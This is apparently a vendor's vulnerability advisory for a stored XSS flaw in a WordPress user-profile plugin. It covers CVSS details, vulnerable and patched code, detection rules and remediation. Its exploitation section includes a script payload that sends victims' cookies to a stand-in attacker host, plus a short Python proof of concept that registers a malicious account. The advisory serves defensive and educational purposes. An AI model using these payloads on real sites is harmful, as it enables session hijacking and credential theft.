CVE-2024-12738
Executive Summary
CVE-2024-12738 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the User Profile Builder WordPress plugin (versions up to and including 3.12.9). The flaw resides in insufficient input sanitization and output escaping of several user meta parameters, allowing unauthenticated attackers to inject arbitrary web scripts. When a victim user clicks a link to display user meta data, the injected script executes in their browser. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Impact
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is used for building user registration forms, profiles, and role editors. The attack vector does not involve Apache or Nginx directly; it exploits the plugin’s failure to properly handle user-supplied meta data before rendering it on profile pages.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for widespread exploitation in WordPress environments elevate the risk.
Deep Dive & Mechanics
The vulnerability exists in the User Profile Builder plugin’s handling of user meta fields. When a user registers or updates their profile, the plugin stores arbitrary meta data (e.g., first_name, last_name, custom fields) without proper sanitization. When another user views a profile page and clicks a link to display this meta data, the plugin outputs the stored value without escaping HTML entities.
Attack Flow:
- An unauthenticated attacker registers a new user account on a WordPress site using the vulnerable plugin.
- During registration, the attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a user meta field (e.g.,first_name). - The plugin stores the payload in the WordPress
usermetatable. - An administrator or other user visits the attacker’s profile page and clicks a link to view the user meta (e.g., “Show user meta”).
- The plugin outputs the stored payload without escaping, causing the script to execute in the victim’s browser.
Root Cause: The plugin uses functions like get_user_meta() and then directly echoes the value without applying esc_html() or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (version 3.12.9):
// In a template file or shortcode handler
$user_meta = get_user_meta($user_id);
foreach ($user_meta as $key => $value) {
echo "<div class='user-meta-item'>$key: $value[0]</div>";
}
Patched Code (hypothetical fix):
$user_meta = get_user_meta($user_id);
foreach ($user_meta as $key => $value) {
$safe_key = esc_html($key);
$safe_value = esc_html($value[0]);
echo "<div class='user-meta-item'>$safe_key: $safe_value</div>";
}
The patch applies esc_html() to both the meta key and value before output, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with User Profile Builder plugin <= 3.12.9
- Registration enabled for unauthenticated users
Exploit Steps:
- Navigate to the registration page (e.g.,
/wp-login.php?action=register). - Fill in required fields and inject payload into a user meta field (e.g.,
first_name):<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Complete registration.
- Send a link to the victim pointing to the attacker’s profile page (e.g.,
/author/attacker). - When the victim clicks “Show user meta”, the script executes and exfiltrates cookies.
Proof of Concept (Python):
import requests
target = "http://target-site.com"
payload = "<script>alert('XSS')</script>"
# Register with malicious meta
data = {
"user_login": "attacker",
"user_email": "attacker@example.com",
"first_name": payload,
"wp-submit": "Register"
}
requests.post(target + "/wp-login.php?action=register", data=data)
print("User registered. Send victim to:", target + "/author/attacker")
Blue Team (Detection & Prevention)
Detection:
- Monitor registration logs for unusual meta field values containing
<script>oronerrorattributes. - Use WAF rules to block common XSS payloads in registration forms.
Prevention:
- Disable user registration if not required.
- Apply input validation on all user meta fields using WordPress functions like
sanitize_text_field(). - Update plugin to patched version when available.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-login.php?action=registerwithfirst_nameor other meta fields containing<script>tags. - Host: Entries in
wp_usermetatable withmeta_valuecontaining JavaScript code. - Logs: WordPress debug logs showing
PHP Notice: Undefined indexor similar errors from plugin files. - File: Modified plugin files in
/wp-content/plugins/user-profile-builder/(if attacker gains admin access).
Detection Engineering
YARA Rule
rule CVE_2024_12738_Stored_XSS {
meta:
description = "Detects stored XSS payloads in User Profile Builder plugin meta fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12738"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$meta_field = /(first_name|last_name|description|user_meta)/i
condition:
$xss_payload and $meta_field
}
Sigma Rule
title: Stored XSS via User Profile Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via user meta fields in User Profile Builder plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-login.php'
http.body|contains: 'action=register'
http.body|re: 'first_name|last_name|description'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in meta fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12738 Stored XSS in User Profile Builder"; flow:to_server; content:"POST"; http_method; content:"/wp-login.php"; http_uri; content:"action=register"; http_client_body; pcre:"/(first_name|last_name|description)=.*<script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the User Profile Builder plugin until a patch is applied.
- If disabling is not possible, restrict user registration to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in registration forms.
Long-term Fix:
- Update the plugin to a patched version (when released) or apply the code fix manually by escaping all user meta output with
esc_html(). - Conduct a security audit of all custom fields and meta data handling in the plugin.
Workaround:
- Use a different user profile plugin that is actively maintained and patched.
Valters IT Signature
Valters IT
Securing Digital Frontiers
This report is generated from open-source intelligence and is intended for educational and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.